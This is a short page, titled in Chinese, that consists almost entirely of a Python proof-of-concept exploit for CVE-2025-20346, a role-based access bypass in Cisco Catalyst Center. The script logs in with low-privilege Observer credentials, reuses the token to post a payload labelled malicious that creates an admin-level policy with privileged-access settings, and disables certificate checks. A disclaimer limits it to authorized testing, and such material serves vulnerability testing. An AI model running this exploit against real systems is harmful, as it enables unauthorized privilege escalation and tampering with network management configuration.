CVE-2025-20346 Cisco Catalyst Center RBAC权限绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-20346 PoC - Cisco Catalyst Center RBAC Bypass This PoC demonstrates privilege escalation via RBAC bypass in Cisco Catalyst Center. Note: This is for educational and authorized testing purposes only. """ import requests import json import sys # Configuration TARGET_HOST = "https://target-cisco-catalyst-center.local" OBSERVER_USERNAME = "observer_user" OBSERVER_PASSWORD = "observer_password" def exploit_cve_2025_20346(): """ Demonstrates the RBAC bypass vulnerability in Cisco Catalyst Center. An Observer role user can modify administrator-level policy configurations. """ session = requests.Session() # Step 1: Login with Observer credentials login_url = f"{TARGET_HOST}/dna/system/api/v1/auth/token" login_data = { "username": OBSERVER_USERNAME, "password": OBSERVER_PASSWORD } try: response = session.post(login_url, json=login_data, verify=False, timeout=30) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False token = response.json().get('Token') print(f"[+] Successfully logged in as Observer user") print(f"[+] Access token obtained: {token[:20]}...") # Step 2: Attempt to modify admin-level policy configuration # This endpoint should require Administrator role but is accessible with Observer role admin_policy_url = f"{TARGET_HOST}/dna/intent/api/v1/policy" headers = { "X-Auth-Token": token, "Content-Type": "application/json" } # Malicious policy configuration payload malicious_payload = { "policyName": "MaliciousPolicy", "policyDescription": "Modified by Observer via RBAC bypass", "policyType": "admin", "settings": { "privilegedAccess": True, "modifySystemConfig": True } } response = session.post(admin_policy_url, headers=headers, json=malicious_payload, verify=False, timeout=30) if response.status_code in [200, 201]: print(f"[+] VULNERABLE: Successfully modified admin policy as Observer user!") print(f"[+] Policy ID: {response.json().get('id')}") return True else: print(f"[-] Request blocked or failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-20346 - Cisco Catalyst Center RBAC Bypass PoC") print("=" * 60) exploit_cve_2025_20346()